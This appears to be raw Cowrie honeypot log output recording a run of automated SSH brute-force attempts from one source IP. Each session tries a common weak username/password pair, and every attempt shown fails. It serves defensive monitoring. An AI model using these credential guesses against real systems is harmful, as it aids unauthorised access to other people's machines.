{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:46:21.716477Z","src_ip":"45.153.34.195","session":"0592a8b2240e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":64826,"dst_ip":"10.17.0.5","dst_port":22,"session":"7373bc0bd761","protocol":"ssh","message":"New connection: 45.153.34.195:64826 (10.17.0.5:22) [session: 7373bc0bd761]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:46:22.807240Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:46:22.827798Z","src_ip":"45.153.34.195","session":"7373bc0bd761","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:46:22.904367Z","src_ip":"45.153.34.195","session":"7373bc0bd761","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pakchoi","password":"Kermit123@","message":"login attempt [pakchoi/Kermit123@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:46:23.397659Z","src_ip":"45.153.34.195","session":"7373bc0bd761","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:46:24.481696Z","src_ip":"45.153.34.195","session":"7373bc0bd761","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":64840,"dst_ip":"10.17.0.5","dst_port":22,"session":"1993b86f9ccc","protocol":"ssh","message":"New connection: 45.153.34.195:64840 (10.17.0.5:22) [session: 1993b86f9ccc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:46:25.825948Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:46:25.830379Z","src_ip":"45.153.34.195","session":"1993b86f9ccc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:46:25.919607Z","src_ip":"45.153.34.195","session":"1993b86f9ccc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tactical","password":"tactical","message":"login attempt [tactical/tactical] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:46:26.519104Z","src_ip":"45.153.34.195","session":"1993b86f9ccc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:46:27.604858Z","src_ip":"45.153.34.195","session":"1993b86f9ccc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":64848,"dst_ip":"10.17.0.5","dst_port":22,"session":"be30f2a15f32","protocol":"ssh","message":"New connection: 45.153.34.195:64848 (10.17.0.5:22) [session: be30f2a15f32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:46:28.861346Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:46:28.867501Z","src_ip":"45.153.34.195","session":"be30f2a15f32","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:46:28.949574Z","src_ip":"45.153.34.195","session":"be30f2a15f32","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123456789","message":"login attempt [ubuntu/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:46:29.213281Z","src_ip":"45.153.34.195","session":"be30f2a15f32","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:46:30.298205Z","src_ip":"45.153.34.195","session":"be30f2a15f32","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":64864,"dst_ip":"10.17.0.5","dst_port":22,"session":"04589a3ee910","protocol":"ssh","message":"New connection: 45.153.34.195:64864 (10.17.0.5:22) [session: 04589a3ee910]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:46:31.703120Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:46:31.751859Z","src_ip":"45.153.34.195","session":"04589a3ee910","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:46:31.856381Z","src_ip":"45.153.34.195","session":"04589a3ee910","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"client","password":"password","message":"login attempt [client/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:46:32.259285Z","src_ip":"45.153.34.195","session":"04589a3ee910","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:46:33.367183Z","src_ip":"45.153.34.195","session":"04589a3ee910","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":20742,"dst_ip":"10.17.0.5","dst_port":22,"session":"133aba886223","protocol":"ssh","message":"New connection: 45.153.34.195:20742 (10.17.0.5:22) [session: 133aba886223]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:46:34.522335Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:46:34.587828Z","src_ip":"45.153.34.195","session":"133aba886223","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:46:34.811795Z","src_ip":"45.153.34.195","session":"133aba886223","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"123","message":"login attempt [deploy/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:46:35.232548Z","src_ip":"45.153.34.195","session":"133aba886223","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:46:36.443466Z","src_ip":"45.153.34.195","session":"133aba886223","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":20756,"dst_ip":"10.17.0.5","dst_port":22,"session":"f986576c0b16","protocol":"ssh","message":"New connection: 45.153.34.195:20756 (10.17.0.5:22) [session: f986576c0b16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:46:37.449567Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:46:37.455882Z","src_ip":"45.153.34.195","session":"f986576c0b16","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:46:37.544744Z","src_ip":"45.153.34.195","session":"f986576c0b16","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"joe","password":"joe","message":"login attempt [joe/joe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:46:37.985627Z","src_ip":"45.153.34.195","session":"f986576c0b16","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:46:39.071920Z","src_ip":"45.153.34.195","session":"f986576c0b16","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.067294120788574,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:46:39.449417Z","src_ip":"172.81.62.90","session":"b17a24ef99d6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":20760,"dst_ip":"10.17.0.5","dst_port":22,"session":"060cd08ad9a9","protocol":"ssh","message":"New connection: 45.153.34.195:20760 (10.17.0.5:22) [session: 060cd08ad9a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:46:40.518319Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:46:40.525274Z","src_ip":"45.153.34.195","session":"060cd08ad9a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:46:40.618519Z","src_ip":"45.153.34.195","session":"060cd08ad9a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mostafa","password":"mostafa","message":"login attempt [mostafa/mostafa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:46:40.925387Z","src_ip":"45.153.34.195","session":"060cd08ad9a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:46:42.010149Z","src_ip":"45.153.34.195","session":"060cd08ad9a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":28134,"dst_ip":"10.17.0.5","dst_port":22,"session":"df161be6e83b","protocol":"ssh","message":"New connection: 45.153.34.195:28134 (10.17.0.5:22) [session: df161be6e83b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:46:43.306133Z"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.122.139","src_port":41912,"dst_ip":"10.17.0.5","dst_port":22,"session":"438e439522ad","protocol":"ssh","message":"New connection: 101.36.122.139:41912 (10.17.0.5:22) [session: 438e439522ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:46:43.318331Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:46:43.323360Z","src_ip":"101.36.122.139","session":"438e439522ad","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:46:43.344395Z","src_ip":"45.153.34.195","session":"df161be6e83b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:46:43.442359Z","src_ip":"45.153.34.195","session":"df161be6e83b","protocol":"ssh"}
